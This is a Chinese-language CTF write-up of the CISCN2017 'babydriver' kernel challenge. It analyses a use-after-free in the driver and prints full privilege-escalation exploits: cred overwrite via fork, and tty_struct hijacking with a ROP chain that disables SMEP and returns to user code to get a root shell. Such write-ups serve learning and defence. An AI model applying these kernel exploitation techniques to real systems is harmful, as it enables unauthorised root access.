0%

kernel UAF

babydriver 复现

首先使用 boot.sh 启动 kernel:

1
2
3
➜  babydriver ./boot.sh
Could not access KVM kernel module: No such file or directory
qemu-system-x86_64: failed to initialize KVM: No such file or directory

未能初始化 kvm,大概率是因为系统不支持虚拟化

可以通过如下命令检查是否支持:

1
egrep '^flags.*(vmx|svm)' /proc/cpuinfo 

如果输出 NULL 则代表不支持,具体的解决措施网上都有

然后用如下命令解压 rootfs.cpio:

1
2
mv ../rootfs.cpio rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
  • PS:这个 rootfs.cpio 其实是个压缩包,不过它省略了后缀“.gz”,这里需要先改名后解压

用如下命令进行提取:

1
cpio -idmv < rootfs.cpio 

先看看 init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  babydriver cat init                            
#!/bin/sh

mount -t proc none /proc # mount:挂载
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag # 设置文件所有者和文件关联组(只有root权限才能拿flag)
chmod 400 flag

# 尖括号可以将数据从一个地方转移到另一个地方
exec 0</dev/console # 将/dev/console设备,重定向为标准输入
exec 1>/dev/console # 将标准输出,重定向为/dev/console设备
exec 2>/dev/console # 将标准错误,重定向为/dev/console设备

insmod /lib/modules/4.4.72/babydriver.ko # 添加了babydriver.ko驱动(可能有洞)
chmod 777 /dev/babydev # babydev全权限
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" # 打印一句话
setsid cttyhack setuidgid 1000 sh # 设置用户ID(和权限相关)

umount /proc # umount:取消挂载
umount /sys
poweroff -d 0 -f
  • 这个 babydev 是人为添加的一个文件,可以把它认为是一个虚拟外设(有点类似于键盘缓冲区之类的东西)

一般 kernel pwn 都会在驱动函数那里设置漏洞,把它拿出来:

1
2
3
4
5
6
7
➜  babydriver checksec babydriver.ko 
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/CISCN2017_babydriver/babydriver/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

用IDA分析 babydriver.ko:

  • 和上一个 kernel pwn 不同,这个 IDA 分析的还是很清楚的,原因就在于它没有去除符号表

init_module:初始化模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall init_module()
{
__int64 v0; // rax

if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") < 0 ) // 向内核申请设备号
{
printk("13alloc_chrdev_region failed\n");
return;
}
cdev_init(&cdev, &fops); // 初始化cdev结构体变量
qword_D60 = (__int64)&_this_module;
if ( (int)cdev_add(&cdev, (unsigned int)babydev_no, 1LL) >= 0 ) // 向Linux内核系统中添加一个新的cdev结构体变量所描述的字符设备
{
v0 = _class_create(&_this_module, "babydev", &babydev_no); // 创建一个设备类(有面向对象的味道)
babydev_class = v0;
if ( v0 )
{
if ( device_create(v0, 0LL, (unsigned int)babydev_no, 0LL, "babydev") ) // 创建对应的设备
return;
printk("13create device failed", 0LL, 0LL);
class_destroy(babydev_class); // 删除对应的设备
}
else
{
printk("13create class failed");
}
cdev_del(&cdev); // 用于从Linux内核系统中移除cdev结构体变量所描述的字符设备
}
else
{
printk("13cdev init failed\n");
}
unregister_chrdev_region((unsigned int)babydev_no, 1LL); // 释放原先申请的设备号
}
  • 值得注意的是:该程序把“驱动函数”和“babydev”进行了绑定(申请了一个名为“babydev”的设备,该驱动文件 babydriver.ko 就是为设备“babydev”为生的)

babyioctl:定义驱动函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __fastcall babyioctl(FILE *fp, unsigned int command, __int64 arg)
{
__int64 v3; // rdx
__int64 size; // rbx

_fentry__(fp, command); // 这里的fp是"文件指针"(fd是文件描述符)
size = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = _kmalloc(size, 0x24000C0LL);// void *kmalloc(size_t size, int flags)
babydev_struct.device_buf_len = size;
printk("alloc done\n");
}
else
{
printk("13defalut:arg is %ld\n", v3);
}
}
  • 定义了 0x10001 的命令:释放全局变量 babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len

babyopen:打开文件

1
2
3
4
5
6
7
void __fastcall babyopen(inode *inode, FILE *fp)
{
_fentry__(inode, fp);
babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
}
  • 申请一块 64 字节的空间,地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len

babyread:读文件

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babyread(FILE *fp, char *buf)
{
unsigned __int64 size; // rdx

_fentry__(fp, buf);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > size )
copy_to_user(buf, babydev_struct.device_buf, size);
}
}
  • 先检查 babydev_struct.device_buf 中是否有数据
  • 再检查用户申请的长度 size 是否大于 babydev_struct.device_buf
  • 然后调用 copy_to_user 把内核数据 babydev_struct.device_buf 拷贝到用户缓冲区 buf

babywrite:写文件

1
2
3
4
5
6
7
8
9
10
11
void __fastcall babywrite(FILE *fp, char *buf)
{
unsigned __int64 size; // rdx

_fentry__(fp, buf);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > size )
copy_from_user(babydev_struct.device_buf, buf, size);
}
}
  • 先检查 babydev_struct.device_buf 中是否有数据
  • 再检查用户申请的长度 size 是否大于 babydev_struct.device_buf
  • 然后调用 copy_from_user 把用户缓冲区 buf 拷贝到内核数据 babydev_struct.device_buf

babyrelease:关闭文件

1
2
3
4
5
6
void __fastcall babyrelease(inode *inode, FILE *fp)
{
_fentry__(inode, fp);
kfree(babydev_struct.device_buf);
printk("device release\n");
}
  • 释放空间

入侵思路

存在一个 伪条件竞争引发的UAF漏洞,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间(因为 babydev_struct 是全局的),也就是说,两个设备共用了一个 babydev_struct

如果这时释放第一个,那么第二个其实是被释放过的,这样就造成了一个UAF,我们可以通过UAF修改 cred 结构体来提权

那么根据 UAF 的思想,入侵步骤如下:

  • 打开两次设备,通过 ioctl 更改其大小为 cred 结构体的大小
  • 释放其中一个,fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠
  • 同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root

注意:fork() 在创建新进程时,会先 kmalloc 一个内存空间用于存放新进程的 cred,这时就会申请到我们可以控制的那片内存,从而修改 cred

分析官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/* gcc exp.c -static -masm=intel -g -o exp */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
//#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0xa8); // 修改babydev_struct.device_buf_len为sizeof(cred)
close(fd1); // 释放fd1
int pid = fork(); // 新起进程的cred空间,会被申请到babydev_struct中
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改fd2(操控babydev_struct),修改新进程的cred的uid,gid等值为'0'
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);

return 0;
}
  • 根据驱动函数:对文件描述符FD进行操作,就是直接控制“babydev_struct”,进而间接控制“cred”

bypass-smep

本题目还有另一种做法:绕过 smep 来实现 ret2usr(smep:当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误)

  • 系统根据 CR4 寄存器的值判断是否开启 smep 保护
  • smep 开启:
1
$CR4 = 0x1407f0 = 10100 0000 0111 1111 0000
  • smep 关闭:
1
$CR4 = 0x1407e0 = 10100 0000 0111 1110 0000
  • 而 CR4 寄存器是可以通过 mov 指令修改的:
1
mov cr4, 0x1407e0

先用 extract-vmlinux 获取 vmlinux:

1
➜  babydriver ./extract-vmlinux ./bzImage > vmlinux

然后使用 Ropper 来寻找 gadget:

1
2
3
4
5
6
➜  babydriver time ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

ropper --file ./vmlinux --nocolor > g1 234.87s user 32.60s system 139% cpu 3:11.53 total

先写一个脚本来查找“commit_creds”和“prepare_kernel_cred”(没有开 PIE 和 Kaslr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;

size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

int main(){
find_symbols();
return 0;
}
1
2
3
/ $ /tmp/find 
commit_creds addr: 0xffffffff810a1420
prepare_kernel_cred addr: 0xffffffff810a1810

接下来就说一下攻击的原理:

  • 先通过 uaf 控制一个 tty_struct 结构(在 open("/dev/ptmx", O_RDWR) 时会分配)
  • tty_struct->tty_operations 中有许多函数指针可以用来劫持
  • 进行 stack pivot(栈迁移)到 rop 链的空间

官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void get_shell()
{
system("/bin/sh");
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}

int main()
{
save_status();

int i = 0;
size_t rop[32] = {0};
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

for(int i = 0; i < 30; i++)
{
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5;
}
fake_tty_operations[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY); // tty_struct已经申请到babydev_struct中
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32); // 把tty_struct读取到fake_tty_struct
fake_tty_struct[3] = (size_t)fake_tty_operations; // 修改tty_operations指向fake_tty_operations
write(fd2,fake_tty_struct, 32); // 用fake_tty_struct覆盖tty_struct

char buf[0x8] = {0}; // buf压栈,作为栈迁移的跳板
write(fd_tty, buf, 8);

return 0;
}

为了理解这个 exp,我们调试一下:

  • 获取 babydrive 模块的加载地址:(在 “/sys/module/” 中是加载的各个模块的信息)
1
2
/ $ cat /sys/module/babydriver/sections/.text 
0xffffffffc0000000
  • 使用 add-symbol-file 添加符号
1
2
3
4
pwndbg> add-symbol-file babydriver.ko 0xffffffffc0000000
add symbol table from file "babydriver.ko" at
.text_addr = 0xffffffffc0000000
Reading symbols from babydriver.ko...
  • 在执行“write(fd_tty, buf, 8)”(“fake_tty_operations[7]-0xffffffff8181bfc5”)前停止
  • 此时RAX为:“fake_tty_operations[0]-0xffffffff810635f5”(通过这个“rax + 0x38”可以看出来)
  • 接下来就会执行:“mov rsp,rax ; dec ebx ; ret”(“fake_tty_operations[7]-0xffffffff8181bfc5”)
  • 栈迁移为:“fake_tty_operations[0]-0xffffffff810635f5”
  • 接着“ret”执行ROP链(“fake_tty_operations[1]”)
  • 最后在ROP链中 bypass-smep,并且用 ret2usr 进行提权

这里我要吐槽一句:kernel 的调试实在是太慢了,“ni”要足足执行一秒钟,还有这个 exp 是打不通的,必须把 boot.sh 中的 -enable-kvm 去掉才可以打通(快搞死我了)


小结:

这是我的第二个 kernel pwn,感觉顺畅多了,这个题目给我提供了另一个提权的思路:UAF

目前有许多概念很是陌生,比如这个“cdev结构体”,我感觉它和 ucore 中的“vdev结构体”很像,但是就是不了解“cdev结构体”与其背后的机制

从 ucore 到 Linux 还是有距离的,那天抽时间整理一下 Linux 内核的知识

还有 kernel 是真的不好调试,太慢了